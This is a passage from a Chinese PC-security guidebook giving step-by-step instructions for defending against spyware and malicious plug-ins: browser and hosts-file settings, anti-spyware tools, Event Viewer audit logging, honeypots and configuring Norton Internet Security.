步骤1：右击桌面上的"Internet"图标，从快捷菜单中选择“属性”选项，即可打开【Internet选项】对话框，如图12-13所示。

图　12-13　【Internet选项】对话框

步骤2：选择“安全”标签卡，单击【自定义级别（C）……】按钮，在弹出对话框中禁用所有ActiveX控件和插件选项，如图12-14所示。

图　12-14　【安全设置】对话框

（3）加入受限站点

把含有恶意插件网页加入受限站点，使IE浏览器不能打开该网页。

具体的操作方法如下。

步骤1：打开【Internet选项】对话框的“安全”标签卡，单击“受限制的站点”图标，如图12-15所示。

图　12-15　【Internet选项】对话框

步骤2：单击【站点】按钮，即可打开【受限站点】对话框，在其中输入需要限制登录的网页地址，如图12-16所示。单击【添加】按钮，即可将其添加进去。

图　12-16　【受限站点】对话框

（4）修改Hosts文件

Hosts文件又称域名本地解析系统，以ASCII格式保存。为了在互联网不产生冲突，每一台连接网络的计算机都会分配一个IP地址，但为便于记忆，又引入了域名的概念，所以当用户在IE地址栏中输入域名时，系统先查看Hosts文件中是否有与此域名相对应的IP地址，如果没有就连接DNS服务器进行搜索；如果有，则会直接登录该网站。Hosts文件省略了通过DNS服务器解析域名的过程，可提高网页浏览的速度。在Windows XP系统中可使用“记事本”打开C:\Windows\system32\drivers\etc\hosts文件，在此文件中输入"127.0.0.1 www.abcd.com"，在IP地址和域名间用空格分开且保存后退出，将www.abcd.com网站域名指向计算机本地的IP地址127.0.0.1，从而避免下载插件。

（5）设置网页安全扫描

一般反病毒软件中带有防范网页恶意代码的功能，例如瑞星卡卡上网安全助手中的“上网防护”功能，就具有“不良网站访问防护”、“IE防漏墙”、“木马下载拦截”等功能，如图12-17所示。启用这些功能，用户访问具有恶意代码的网页时，就会主动进行提示和拦截，防止恶意代码利用ActiveX进行下载和执行危险的命令。

图　12-17　“上网防护”页面

（6）使用专用工具进行防疫

现在网络上有很多专门用于对付流氓软件和间谍软件的工具，而且这些工具一般都具有免疫功能，即针对已知的流氓软件和间谍软件修改注册表相应项，使相应的流氓软件和间谍软件不能自动下载和安装，从而保证用户系统的安全和稳定。

3.用超级兔子清除流氓软件

“流氓软件”很大一部分都是通过修改注册表来“劫持”用户的浏览器，把用户引向不良网站，为此，可以借助超级兔子软件来对IE进行修复和管理。超级兔子系统检测可诊断一台计算机系统的稳定性及速度，还具有磁盘修复及键盘检测功能。超级兔子安全助手能隐藏磁盘、加密文件，超级兔子系统备份是国内唯一能完整保存Windows XP/2003/Vista注册表的软件。用户使用超级兔子中的“清理天使”模块可以将系统恶意插件清除。

具体的使用方法如下。

步骤1：安装好超级兔子后，双击桌面上的“超级兔子”图标即可启动该程序，并进入其操作界面，如图12-18所示。

图　12-18　“超级兔子”主窗口

步骤2：单击【优化】按钮，即可打开“优化”页面，选择“清理天使1.0.1”栏目并单击右侧的【启动】按钮，即可启动“清理天使”模块，如图12-19所示。

图　12-19　“优化”页面

步骤3：单击“痕迹清理”超链接，即可进入“痕迹清理”页面，在其中选择清理设置的位置，如图12-20所示。单击【一键清理】按钮，即可开始清除已知的恶意程序和木马，如图12-21所示。

图　12-20　“痕迹清理”页面

图　12-21　正在清理痕迹

步骤4：在清理完成后将显示其详细痕迹清理信息，如图12-22所示。单击“清理文件系统”超链接进入“清理文件系统”操作界面，在其中选择需清理的磁盘，如图12-23所示。

图　12-22　查看详细痕迹清理信息

图　12-23　“清理文件系统”操作界面

步骤5：若单击“标准卸载”超链接，则可进入“标准卸载”操作界面，系统开始检测本机软件，一旦检测完成后，则选中不需要的软件将其卸载，如图12-24所示。

图　12-24　“标准卸载”操作界面

步骤6：在“清理天使”界面上单击“设置中心”超链接，即可进入“设置中心”操作界面，如图12-25所示。

图　12-25　“设置中心”操作界面

4.用瑞星卡卡安全助手根除流氓软件

“瑞星卡卡上网安全助手”是一款基于互联网设计的全新反木马软件，该软件独有“自动在线诊断、木马行为判断与拦截、木马下载拦截”等三大独创的反木马功能，能帮助用户自动扫描并修补系统和第三方软件漏洞，优化电脑系统，是一款集防、查、杀于一体的全新反木马利器。

（1）查杀流行木马

瑞星卡卡与瑞星杀毒软件一样，均可对本地计算机实施木马的查杀。

具体的操作步骤如下。

步骤1：双击桌面上瑞星卡卡快捷图标，即可进入“瑞星卡卡”主窗口，如图12-26所示。单击“查杀流行木马”选项卡，即可进入“查杀流行木马”设置界面，如图12-27所示。

图　12-26　“瑞星卡卡”主窗口

图　12-27　“查杀流行木马”设置界面

步骤2：在其中选择需要扫描的对象之后，单击【开始扫描】按钮，即可自动进行流行木马的扫描，如图12-28所示。在扫描结束之后，将会显示出扫描结果。如果存在流行木马，则单击【立即查杀】按钮，即可将存在的木马病毒删除干净。

图　12-28　正在扫描对象

（2）实现漏洞扫描与修复

漏洞扫描与修复是瑞星卡卡的另一个亮点，可以检测Windows系统漏洞、第三方应用软件漏洞和相关安全设置，从而帮助用户进行修复。

具体的操作步骤如下。

步骤1：在瑞星卡卡窗口中单击“漏洞扫描与修复”选项，即可自动对本机漏洞进行扫描，如图12-29所示。

图　12-29　“漏洞扫描与修复”页面

步骤2：在扫描结束之后，将会显示出相应的扫描结果，如图12-30所示。如果不满意系统设置的扫描方式，单击【设置】按钮，即可打开【详细设置】对话框，如图12-31所示。

图　12-30　查看扫描漏洞结果

图　12-31　【详细设置】对话框

步骤3：根据实际情况设置补丁下载的方式和存放目录之后，选择“危险设置”选项卡，在其中选择要扫描的危险项，如图12-32所示。选择“自动扫描”选项卡，在其中设置扫描的频率，如图12-33所示。

图　12-32　“危险设置”设置界面

图　12-33　“自动扫描”设置界面

步骤4：单击【确定】按钮，即可完成设置操作。单击【重新扫描】按钮，即可自动进行扫描操作。在扫描结束之后，单击“系统存在漏洞”右侧的“详细信息”链接，即可查看具体的漏洞信息，如图12-34所示。在选择需要修复的漏洞之后，单击【修复漏洞】按钮，即可自动对漏洞进行修复操作，如图12-35所示。

图　12-34　查看系统漏洞信息

图　12-35　“修复漏洞”页面

（3）实现系统修复

很多病毒会破坏系统设置，比如中毒电脑会出现IE浏览器主页被改、经常跳转到广告网站等现象，这时就可以运用瑞星卡卡的系统修复功能修复注册表、系统设置和host文件，使电脑恢复正常。

具体的操作步骤如下。

步骤1：在瑞星卡卡窗口中单击“高级工具”选项，即可进入“高级工具”设置界面，如图12-36所示。

图　12-36　“高级工具”设置界面

步骤2：单击“系统修复”选项，即可自动扫描系统并显示出扫描结果，如图12-37所示。在其中选择需要修复的选项之后，单击【修复】按钮，即可完成系统的修复。

图　12-37　“系统修复”页面

5.金山系统清理专家清除恶意软件

金山清理专家是一款上网安全辅助软件，对流行木马、恶意插件尤为有效，可解决普通杀毒软件不能解决的安全问题。其特点有：永久免费；免费病毒木马查杀；健康指数综合评分系统；查杀恶意软件和超强抢杀技术（Bootclean）；互联网可信认证；防网页挂马功能等。

具体的操作方法如下。

步骤1：安装好软件后，双击桌面上的“金山清理专家”图标，即可进入其操作界面，如图12-38所示。

图　12-38　“金山清理专家”主界面

步骤2：在“金山清理专家”主界面中单击【实时防护】按钮，可启用或关闭“U盘防火墙”、“漏洞防火墙”、“网页防火墙”、“系统防火墙”等功能，如图12-39所示。

图　12-39　“实时防护”设置界面

步骤3：在“金山清理专家”主界面中单击【健康指数】按钮，再单击【为系统打分】按钮，开始全面扫描系统，并给出健康指数，指出问题所在，如图12-40所示。

图　12-40　“健康指数”页面

步骤4：在“金山清理专家”主界面中单击【恶意软件查杀】按钮，可以看到已经查到的恶意软件分类及其数量。单击其中一项，并选取需要清除的项目，如图12-41所示。单击【清除选定项】按钮，即可将其卸载。

图　12-41　“恶意软件查杀”页面

步骤5：在“金山清理专家”主界面中单击【漏洞修复】按钮，开始扫描系统所存在的漏洞，并给出漏洞补丁列表，如图12-42所示。选取需要修复的漏洞，单击【修复选中项】按钮，即可开始下载系统补丁并自动安装。

图　12-42　“金山漏洞修复”页面

步骤6：在“金山清理专家”主界面中单击【安全百宝箱】按钮，则可打开【金山安全百宝箱】窗口，在其中修复系统、清理垃圾文件、清除历史痕迹、修复浏览器，进行进程管理和启动项管理等，如图12-43所示。

图　12-43　“金山安全百宝箱”页面

第105招　使用Spybot-Search＆Destroy

SpyBot-Search＆Destroy是一款专门用来清理间谍程序的工具。一些间谍程序随着共享软件安装到计算机中，监视计算机运行。至今已可检测一万多种间谍程序（Spyware），并对其中的一千多种进行免疫处理。

1.清除间谍软件

SpyBot-Search＆Destroy是一款专门检查和清除计算机中间谍软件的工具，此软件无需安装，只用在解压缩的文件夹中双击"SpyBot-Search＆Destroy"应用程序图标，即可进入SpyBot主窗口，如图12-44所示。

图　12-44　SpyBot主窗口

清除间谍软件的具体操作步骤如下。

步骤1：在SpyBot主窗口中单击【检测与修复】链接按钮，即可进入“检测与修复”设置界面，在其中可以检查系统并修复找到的问题，如图12-45所示。

图　12-45　“检测与修复”设置界面

步骤2：单击【检测】按钮，即可对系统进行扫描，如图12-46所示。在检测完毕之后，即可在“问题”列表框中显示出检测到的结果信息，如图12-47所示。

图　12-46　正在扫描系统

图　12-47　查看检测到的结果信息

步骤3：在选取某个检查到的问题之后，再点击右侧的分帧栏，即可查询到有关该问题软件的发布公司、软件功能、说明和危害种类等信息，如图12-48所示。

图　12-48　查询检测问题的详细信息

步骤4：在选取需要修复的问题程序之后，单击【修复】按钮，并在如图12-49所示的提示信息框中单击【是】按钮，即可将选取的间谍程序从系统中清除修复，如图12-50所示。单击【确定】按钮，即可彻底完成修复操作。

图　12-49　“确认删除项目”提示框

图　12-50　确认修复消息框

2.用Spybot恢复误删除的文件

如果用户在使用Spybot“检测与修复”功能修复检查到的问题之后，发现运行其他软件有错误，此时即可通过Spybot的恢复功能来撤消修复或变动。具体的操作步骤如下。

步骤1：在SpyBot主窗口中单击【还原】链接按钮，即可进入到“还原”设置界面，在其中选择需要还原的程序，如图12-51所示。

图　12-51　“还原”设置界面

步骤2：单击【还原】按钮，即可弹出【确认】信息提示框，如图12-52所示。在确认是否撤销所做的修改之后，单击【是】按钮，即可将选取的间谍程序还原到系统中，并给出还原项目所在处的提示信息，如图12-53所示。

图　12-52　【确认】信息提示框

图　12-53　“信息”提示框

提示　如果修复后系统运行没问题，则说明清除的问题程序正确，此时在还原界面中选取修复后的程序备份，单击【删除】按钮，以减少硬盘空间占用。

3.设置Spybot的间谍软件免疫

Spybot可以对近万种间谍软件进行免疫处理，通过对这些间谍软件施行预防性措施，即可有效避免遭受这些间谍软件的危害。具体的操作步骤如下。

步骤1：在Spybot主窗口中单击【免疫】链接按钮，即可进入免疫窗口，并且Spybot将自动扫描用户的计算机系统，检查当前计算机系统的免疫情况，如图12-54所示。

图　12-54　“免疫”设置窗口

步骤2：若在“模式”菜单下选取“高级模式”选项，则可对Spybot进行设置，如图12-55所示，或使用Spybot提供的工具，如图12-56所示。

图　12-55　Spybot设置界面

图　12-56　Spybot工具设置界面

4.查找启动项中的间谍程序

系统启动项中加载程序，是程序在系统中运行的一种重要途径，所以很多间谍程序都选择了这里作为根据地之一。针对这一点，SpyBot-Search＆Destroy同样作出了管理措施。

具体的操作步骤如下。

步骤1：选择【模式】→【高级模式】菜单项，即可弹出“警告”消息框，如图12-57所示。单击【是】按钮，即可进入【高级模式】窗口。

图　12-57　“警告”消息框

步骤2：单击主窗口左侧导航条中的“工具”栏目下的“系统启动”超链接，即可进入“系统启动”链接页面，将显示并管理系统启动时自动加载的应用程序，如图12-58所示。

图　12-58　“系统启动”链接页面

除上述功能之外，SpyBot-Search＆Destroy还可以显示计算机中已经安装的所有ActiveX控件、常驻内存的监视器程序和浏览器关键页面（起始页、主页、搜索页地址）等。

该软件还提供了一个非常方便实用的“导出”功能，允许用户将所有的检测结果导出为一个文本文件备用。它还支持在线更新软件版本，以使用户的数据库不断进行更新，通过这些功能设计，可以感觉到该程序真正地起到了实时防范的作用。

第106招　间谍软件防护实战

间谍软件的主要危害是严重干扰用户使用各种互联网，比如推广弹出式广告、影响用户网上购物、干扰在线聊天、欺骗用户浏览搜索引擎引导网站等，同时还有可能导致机器速度变慢、突然网络断开等情况出现，这主要是因为间谍软件会占去系统大量资源。

1.用SpySweeper清除间谍软件

当大家安装了某些免费的软件或浏览某个网站时，都可能使间谍软件潜入。黑客除监视用户的上网习惯（如上网时间、经常浏览的网站以及购买了什么商品等）外，还有可能记录用户的信用卡账号和密码，这给用户安全带来了重大隐患。Spy Sweeper是一款五星级的间谍软件清理工具，还提供主页保护和Cookies保护等功能。具体的操作步骤如下。

步骤1：在安装完毕之后重启计算机，即可加载Spy Sweeper程序。双击桌面上的"Webroot AntiVirus"图标，即可进入其操作界面，如图12-59所示。

图　12-59　"Spy Sweeper"主界面

步骤2：单击左侧【Options】按钮，并选择"Sweep"标签，即可设置扫描方式，如图12-60所示。

图　12-60　设置扫描方式

步骤3：若选择"Custom Sweep"选项，则用户可以在下方列表中选择需要扫描的对象，如图12-61所示。

图　12-61　选择需要扫描的对象

步骤4：若单击"Change settings"超链接，则弹出如图12-62所示的对话框，用户可以具体设置扫描或跳过的对象。单击左侧【Sweep】按钮，再单击主窗口中的下拉按钮，从列表中选择扫描方式，如图12-63所示。

图　12-62　【Custom Sweep】对话框

图　12-63　"Sweep"链接页面

步骤5：单击【Start Custom Sweep】按钮，即可开始扫描，上面显示扫描进度，中间显示扫描当前对象，下面显示扫描结果，如图12-64所示。

图　12-64　正在扫描

步骤6：在扫描结束后，系统将显示如图12-65所示的界面，其中显示需要清除的对象。单击左侧【Options】按钮，选择"Sche dule"选项卡，则可创建定时扫描任务，其中包括扫描方式、开始扫描时间等，如图12-66所示。

图　12-65　显示扫描结果

图　12-66　"Schedule"链接页面

步骤7：单击左侧的【Shields】按钮，在其中设置各种对象的防御选项，使用户在上网过程中及时保护系统，如图12-67所示。

图　12-67　"Shields"链接页面

3.通过事件查看器抓住间谍

如果用户关心系统的安全，并且想快捷地查找出系统的安全隐患或发生安全问题的原因，通过Windows系统中“事件查看器”可以发现一些安全问题的苗头及已植入系统的“间谍”所在。在Windows XP系统中打开“事件查看器”方法为：通过【控制面板】→【管理工具】→【事件查看器】菜单项，即可打开【事件查看器】窗口，如图12-68所示。

图　12-68　“事件查看器”窗口

（1）事件查看器查获“间谍”实例

由于日志记录了系统运行过程中大量的操作事件，为了方便用户查阅这些信息，采取了“编号”方式，同一编号代表同一类操作事件。

1）编号：1524/程序卸载失败（警告）

原因：Windows系统不能正常卸载类注册文件，原因是还有别的应用程序或服务在使用它。此文件将在不使用时卸载，类似原因的编号还有1517等。与此同时，还应考虑是否是黑客因权限不够而导致的恶意卸载程序失败，如图12-69所示。

图　12-69　【警告属性】对话框

作用：在清除一些程序时，可以快速查出不能卸载的原因，以便采取正确的操作方法。

2）编号：6006（事件日志服务已停用，信息）

原因：系统因关机、重启、崩溃等原因导致日志服务被迫中止，如图12-70所示。

图　12-70　【事件属性】对话框

作用：如果用户的服务器正常是不关机的，但却出现这个事件记录，那么就应该检查是否曾被恶意用户在本地或远程执行了重启操作。但对于个人用户来说出现这个信息则很正常，因为正常关机操作也会出现这个信息。

3）编号：7001（服务被禁止，错误）

原因：与Computer Browser服务相依的Server服务因一些错误而无法启动。原因可能是已被禁用或与其相关联的设备没有启动，如图12-71所示。

图　12-71　【事件ID为7001的属性】对话框

作用：应检查系统“服务”中的Server等服务是否被关闭，例如有的单机用户为了彻底杜绝默认共享的问题，而将Server服务关闭。随后当该机进行组建局域网、访问共享资源等操作时，就会因Server服务关闭而出现这类错误。

4）编号：11309（调用文件失败，错误）

原因：读取文件"X:\office"（出错文件路径和名称）时出错。请确认文件是否存在，以及是否能够访问该文件。从安全角度应重视这类事件。

作用：可以快速查知文件调用失败的原因，如是否因权限不够所致等。

5）编号：6005（事件日志服务已启动，信息）

原因：每次系统启动后，日志服务均会自动启动并记载指定事件。

作用：得知日志服务工作正常与否。

（2）安全日志的启用

安全日志在默认情况下是停用的，但作为维护系统安全中最重要的措施之一，将其开启显然是非常必要的，通过查阅安全日志，可以得知系统是否有恶意入侵的行为等。

启用安全日志的具体操作步骤如下。

步骤1：在“运行”对话框中输入"mmc"命令，即可打开“控制台”窗口。选择【文件】→【添加/删除管理单元】菜单项，即可打开【添加/删除管理单元】对话框，如图12-72所示。

图　12-72　【添加/删除管理单元】对话框

步骤2：单击【添加】按钮，即可【添加独立管理单元】对话框，在其中选择“组策略对象编辑器”选项，如图12-73所示。

图　12-73　【添加独立管理单元】对话框

步骤3：单击【添加】按钮，即可弹出【“选择组策略对象”向导】对话框，在其中选择“本地计算机”选项，如图12-74所示。

图　12-74　【“选择组策略对象”向导】对话框

步骤4：单击【完成】按钮，即可完成添加操作。在“控制台”窗口中展开“本地计算机策略”→“Windows设置”→“安全设置”→“本地策略”→“审核策略”选项，如图12-75所示。

图　12-75　“控制台”窗口

步骤5：在右侧窗口中右击相应选项，在其属性对话框中选取“成功”和“失败”复选框。例如右击“审核账户管理”项，在快捷菜单中选取“属性”选项，则可打开【审核账户管理属性】对话框，在“本地安全设置”标签卡中选取“成功”和“失败”复选框，如图12-76所示。单击【确定】按钮，即可完成操作，此后安全日志将记录该项目的审核结果。

图　12-76　【审核登录事件属性】对话框

（3）事件查看器的管理

由于日志记录了大量的系统信息，需要占用一定的磁盘空间，如果是个人计算机，则可经常清除日志以减少磁盘占用量。如果觉得日志内容比较重要，还可将其保存到安全的地方。

具体的操作方法如下。

步骤1：在【事件查看器】窗口中右击需要清除的日志，在快捷菜单中选择“清除所有事件”选项，即可将该日志记录清除，如图12-77所示。也可在快捷菜单中选择“属性”命令，在打开的对话框中单击【清除日志】按钮，将该日志记录删除，如图12-78所示。

图　12-77　“事件查看器”窗口

图　12-78　【安全性属性】对话框

步骤2：在执行清除日志命令后，将弹出如图12-79所示的提示对话框，单击【是】按钮，指定保存路径即可将日志记录保存下来。

图　12-79　“事件查看器”消息框

步骤3：若在快捷菜单中选取“另存日志文件”选项，同样可以将日志记录保存下来。

4.微软反间谍专家使用流程

Microsoft Windows Defender是一款由微软公司推出的免费反间谍软件。它可以帮用户检测及清除一些潜藏在操作系统里的间谍软件及广告软件，保护用户计算机不受到一些间谍软件的安全威胁及控制，也保障了使用者的安全与隐私。其具体的操作步骤如下。

步骤1：从Microsoft公司网站下载并安装Windows Defender，选择【开始】→【程序】→【Windows Defender】菜单项，即可进入Windows Defender操作界面，如图12-80所示。

图　12-80　"Windows Defender"主界面

步骤2：单击工具栏中的【工具】按钮，则显示如图12-81所示的界面，在其中进行设置Windows Defender选项，查看隔离的项目，设置允许加载的项目等操作。

图　12-81　“工具和设置”界面

步骤3：单击“选项”超链接，系统则进入Windows Defender选项设置界面，在其中设置自动扫描任务执行的时间、扫描方式、设置实时防护选项等内容，如图12-82所示。

图　12-82　Windows Defender选项设置界面

步骤4：在“工具和设置”界面中单击“软件资源管理器”超链接，在其中对“启动程序”、“当前运行的程序”、“网络连接的程序”、“Winsock服务提供的程序”等对象进行管理，如图12-83所示。

图　12-83　“软件资源管理器”界面

步骤5：单击工具栏上“扫描”右侧下拉按钮，选择扫描方式（快速扫描或完全扫描），开始扫描系统，如图12-84所示。扫描结束后将给出扫描报告，在其中通过“工具和设置”界面中的“隔离的项目”超链接查看扫描出的项目，如图12-85所示。

图　12-84　“正在扫描”窗口

图　12-85　“隔离的项目”界面

5.奇虎360安全卫士使用流程

如今网络上各种间谍软件、恶意插件、流氓软件实在太多，这些恶意软件或者搜集个人隐私，或频发广告，或让系统运行缓慢，让用户苦不堪言。使用免费的“奇虎360安全卫士”则可轻松地解决这个问题。具体的操作步骤如下。

步骤1：下载并安装好360安全卫士后，双击桌面上的“360安全卫士”图标，即可进入其操作界面，如图12-86所示。当360安全卫士首次运行时，将自动对当前系统进行快速扫描，查找出系统所存在的问题，如图12-87所示。

图　12-86　“360安全卫士”主窗口

图　12-87　查看健康指数信息

步骤2：选择“查杀流行木马”标签，在其中可以查杀当前系统中存在的已知木马程序，如图12-88所示。扫描结束后，选取需要清除的对象，单击【立即查杀】或【强力查杀】按钮，即可将木马程序清除，如图12-89所示。

图　12-88　“查杀流行木马”页面

图　12-89　扫描木马

步骤3：选择“清理恶评插件”标签，在其中可以扫描当前系统中存在的恶意程序，如图12-90所示。在其中选取需要清除的对象之后，单击【立即清理】按钮将其清除。

图　12-90　“清理恶评插件”设置页面

步骤4：选择“装机必备”标签，即可打开“360软件管理”窗口，在“开机启动”标签中可以查看和禁止开机加载的程序，如图12-91所示。

图　12-91　“开机启动”设置页面

步骤5：选择“正在运行”标签，在其中可以查看和结束正在运行的程序，如图12-92所示。选择“软件卸载”标签，则可以在此卸载不再需要的程序，如图12-93所示。

图　12-92　“正在运行”设置页面

图　12-93　“软件卸载”设置页面

步骤6：选择“修复系统漏洞”标签，即可打开“360漏洞修复”窗口，如图12-94所示。单击【待修复系统漏洞】按钮，即可查看并修复系统漏洞。在“360安全卫士”的“常用”功能中还有“清理系统垃圾”和“清理使用痕迹”等功能，如图12-95所示。

图　12-94　“修复系统漏洞”设置页面

图　12-95　“清理使用痕迹”设置页面

步骤7：单击【高级】按钮，则可以进行修复IE、启动项状态、系统进程状态、系统服务状态等多种操作，如图12-96所示。单击【实时保护】按钮，即可打开“360实时保护”页面。再单击【全部开启】按钮，则可开启“漏洞防火墙”、“系统防火墙”、“木马防火墙”等多种实时防护功能，如图12-97所示。

图　12-96　“修复IE”设置页面

图　12-97　“实时保护”设置页面

第107招　蜜罐的使用

所谓蜜罐，就是一个网络陷阱程序，这个陷阱是针对入侵者而特意设计出来的一些伪造的系统漏洞。这些伪造的系统漏洞，在引诱入侵者扫描或攻击时，就会激活触发报警事件，从而告诉计算机管理员有入侵者到来了。

蜜罐好比是故意让人攻击的目标，引诱黑客前来攻击。所以攻击者入侵后，用户就可以知道入侵者是如何得逞的，随时了解针对服务器发动的最新攻击和漏洞。还可以通过窃听黑客之间的联系，收集黑客所用的种种工具。

1.蜜罐的典型应用实例

“冰河陷阱”是一款很好的蜜罐程序，可以在每次启动时自动检测系统是否已经被安装了“冰河”被控端程序，如果“是”则提示用户并在用户确认后自动清除所有版本的“冰河”被控端程序。在清除“冰河”被控端程序前会向用户显示已经被安装的“冰河”配置信息，自动清除后配置信息保存在当前目录的“清除日志.txt”文件中。

启动“冰河陷阱”后完全模拟真正的“冰河”被控端程序对监控端命令进行响应，使监控端产生仍在监控的错觉，并完全记录监控端的IP地址、命令、命令参数等相关信息。此外，还可在入侵者尚未退出“冰河”监控端程序前，通过“冰河信使”功能与入侵者对话。在“冰河陷阱”监控下，所有由远程监控端上传的文件，保存在UPLOAD目录下供用户分析。

具体的操作方法如下。

步骤1：从网上下载并解压后，双击“冰河陷阱.exe”进入其操作界面，如图12-98所示。选择【设置】→【设置监听端口】菜单项，在其中随意设置本地监听端口，如图12-99所示。

图　12-98　“冰河陷阱”主窗口

图　12-99　【设置监听端口】对话框

步骤2：选择【文件】→【打开陷阱】菜单项，蜜罐程序即可运行。若发现有入侵行为，将自动记录有关信息。

在冰河陷阱的监控下，所有由远程监控端上传的文件多为破坏性程序或病毒、木马等有害程序，建议在没有把握的情况下不要轻易打开UPLOAD目录下的任何文件。此外，还有一类蜜罐程序可以通过在防火墙中将入侵者的IP地址设置为黑名单来立即拒绝入侵者继续进行访问，拒绝不友好的访问可以是短期的，也可以是长期的。

2.个人用户蜜罐系统的实现

Defnet HoneyPot 2004是一个著名的“蜜罐”虚拟系统，它会虚拟一台有“缺陷”的电脑，等着恶意攻击者上钩。这个陷阱只能套住恶意攻击者，看看黑客都执行了哪些命令，进行了哪些操作，使用了哪些恶意攻击工具。具体的操作方法如下。

步骤1：用户从网上下载后双击defnet.exe程序，即可进入操作界面，如图12-100所示。

图　12-100　"Defnet HoneyPot"主界面

步骤2：单击【Options】按钮，即可打开其选项设置对话框，如图12-101所示。勾选"Send logs by e-mail"复选框，在其中输入自己的电子邮件地址，将记录的资料传送到该邮箱中。如果自己有QQ号码，也可使用它发送信息。选取"Authentication required"复选框，输入自己邮箱身份验证信息；勾选"Open Extra Ports"复选框可设置伪装开启的端口；在"Default banner of extra ports"文本框中可输入伪装端口的默认信息；还可设置记录信息保存的路径、捕获到入侵行为时声音提示、开机自启动、自动监视等选项。

图　12-101　【Options】对话框

步骤3：单击【Honeypot】按钮，则可打开蜜罐设置选项对话框，在其中可以根据需要开启伪装的服务内容，如图12-102所示。

图　12-102　【Honeypot设置选项】对话框

步骤4：选取"Web Server"复选框，可以设置开启Web服务的端口、伪装文件的目录。选取"FTP Server"复选框，则可以设置开启FTP服务的端口号、登录FTP服务器的用户名和密码等选项。

步骤5：还可以根据需要选取"SMTP Server"、"Finger Server"、"POP3 Server"、"Telnet Server"等服务功能。若选择"Finger Server"复选框，单击右边的【Advanced】按钮，则可配置各类用户，如图12-103所示。

图　12-103　【Finger】对话框

步骤6：若选择"Telnet Server"复选框，单击【Advanced】按钮，即可对Telnet服务进行更加详细地设置，在其中设置伪装成的黑客入侵后看到的电脑盘符（Drive）、卷标（Volume）、序列号（Serial no）、目录建立的时间（Date and time of directories creation）、剩余磁盘空间（Free space in bytes）、可进入的目录（What directory will be accessible）、MAC地址、网卡、DNS等，如图12-104所示。还可通过"Allow()command before disconnect"项设置黑客入侵后在蜜罐系统中执行命令的数量。

图　12-104　设置Telnet服务信息

3.开启实时监控

经过上述设置后，要想开启实时监控，只需单击Defnet HoneyPot主窗口中的【Montiore】按钮，即可开始监视入侵的行为，如图12-105所示。

图　12-105　监视入侵行为

当然，在监视过程中可随时单击【Stop】按钮停止监视，单击【Clean】按钮清除监视记录，单击【Save】按钮保存监视到的日志记录，并会在右边的空白处显示。

第108招　诺顿网络安全特警

“诺顿网络安全特警2009”简体中文版是针对Windows XP、Windows Vista操作系统提供的安全防护，提供主动式行为防护，甚至可以在传统以特征为基础的病毒库辨认出前，早一步监测到新型的间谍程序及病毒。每隔5到15分钟提供一次更新，以检测和删除最新威胁。

1.配置网络安全特警

当“诺顿网络安全特警2009”软件安装完毕之后，就可以通过配置运行此软件，从中领略其新颖的特性。具体的操作步骤如下。

步骤1：当软件安装完毕之后，单击任务栏中显示出诺顿网络安全特警2009的标志，即可进入【诺顿网络安全特警2009】主窗口，如图12-106所示。

图　12-106　【诺顿网络安全特警2009】主窗口

步骤2：在左端显示软件的安全状态，由于是第一次安装此软件，程序会自动对系统文件进行扫描，当程序检测到系统中存在风险时，将显示出红色“×”，这说明该功能中存在着安全隐患需要修复，这时单击【立即修复】按钮，即可自动进行修复操作，如图12-107所示。

图　12-107　修复系统

步骤3：在修复完毕之后，“诺顿网络安全特警2009”主窗口中将显示“安全”状态，在其中清晰地展现了系统的防护状态，如图12-108所示。

图　12-108　“安全状态”显示

步骤4：单击相应的项目（如单击“网页仿冒防护”选项），即可打开【网页仿冒保护】对话框，在其中查看相应安全情况，如图12-109所示。单击【否】按钮，就可以关闭该功能。

图　12-109　查看项目的安全情况

步骤5：在“诺顿网络安全特警2009”主窗口中单击“计算机”栏目中的“设置”超链接，即可进入“Norton Internet Security选项”设置窗口，如图12-110所示。

图　12-110　“计算机设置”界面

步骤6：在“计算机设置”选项卡中单击“反间谍软件”栏目右侧的“配置”链接选项，即可打开【反间谍软件】窗口，在其中选择手动、电子邮件和即时消息扫描中检测哪些类别的风险。为获得最大程度防护，最好勾选所有选项，如图12-111所示。

图　12-111　“反间谍软件”窗口

步骤7：若单击“管理扫描”栏目右侧的“配置”链接选项，即可打开【扫描】窗口，Norton Internet Security会自动定期下载防护更新、扫描用户计算机并保护用户免遭所有类型的病毒和未知威胁侵害。还可为经常扫描的计算机的特定部分创建自定义扫描。此外，可以调度自动运行自定义扫描或全面系统扫描，如图12-112所示。

图　12-112　“扫描”窗口

步骤8：在“Internet设置”选项卡中可对Internet中各项防护进行相应设置，如图12-113所示。单击“智能防火墙”区域的“程序控制”选项卡，可控制计算机上程序访问Internet的方式。在程序列表中可修改每个程序的Internet访问，还可向列表中添加程序或从列表中删除程序，如图12-114所示。

图　12-113　“Internet设置”设置界面

图　12-114　【程序控制】对话框

步骤9：如果要添加其他程序控制，单击【添加】按钮，即可打开【选择应用程序】对话框，在其中选择要添加的程序，如图12-115所示。如果要修改某程序控制，选中需要修改的程序之后，单击【修改】按钮，即可打开【程序规则】对话框，如图12-116所示。

图　12-115　【选择应用程序】对话框

图　12-116　【程序规则】对话框

步骤10：单击【修改】按钮，即可打开【修改规则】对话框，在其中进行相应规则的修改，如图12-117所示。如果要删除某程序控制，只用选择需要删除的程序之后，单击【删除】按钮，将弹出“确认”信息提示框，从弹出的信息提示框中单击【是】按钮，即可完成删除操作，如图12-118所示。

图　12-117　【修改规则】对话框

图　12-118　信息提示框

步骤11：在选中需要重命名的某程序之后，单击【重命名】按钮，即可打开【重命名程序】对话框，从文本框中输入相应名称完成重命名操作，如图12-119所示。

图　12-119　【重命名程序】对话框

步骤12：在如图12-113所示的【Internet设置】窗口中，单击“智能防火墙”区域中的“高级设置”栏目右侧的“配置”链接选项，即可打开“高级设置”设置页面，通过智能防火墙高级设置选项激活高级防护功能，自定义计算机用于查看网页的端口，如图12-120所示。

图　12-120　“高级设置”设置界面

步骤13：单击“一般规则”栏目右侧“配置”链接选项，即可打开【一般规则】对话框，在其中分别对某些规则进行相应的添加、修改、删除、上移和下移操作，如图12-121所示。

图　12-121　【一般规则】对话框

步骤14：在“高级设置”选项卡中还可对端口和状态协议过滤器进行相应的设置。如果要对防火墙进行重新设置，单击“防火墙重置”右侧的“配置”链接选项，即可弹出“防火墙重置”信息提示框。单击【是】按钮，即可重新设置整个防火墙设置，如图12-122所示。

图　12-122　信息提示框

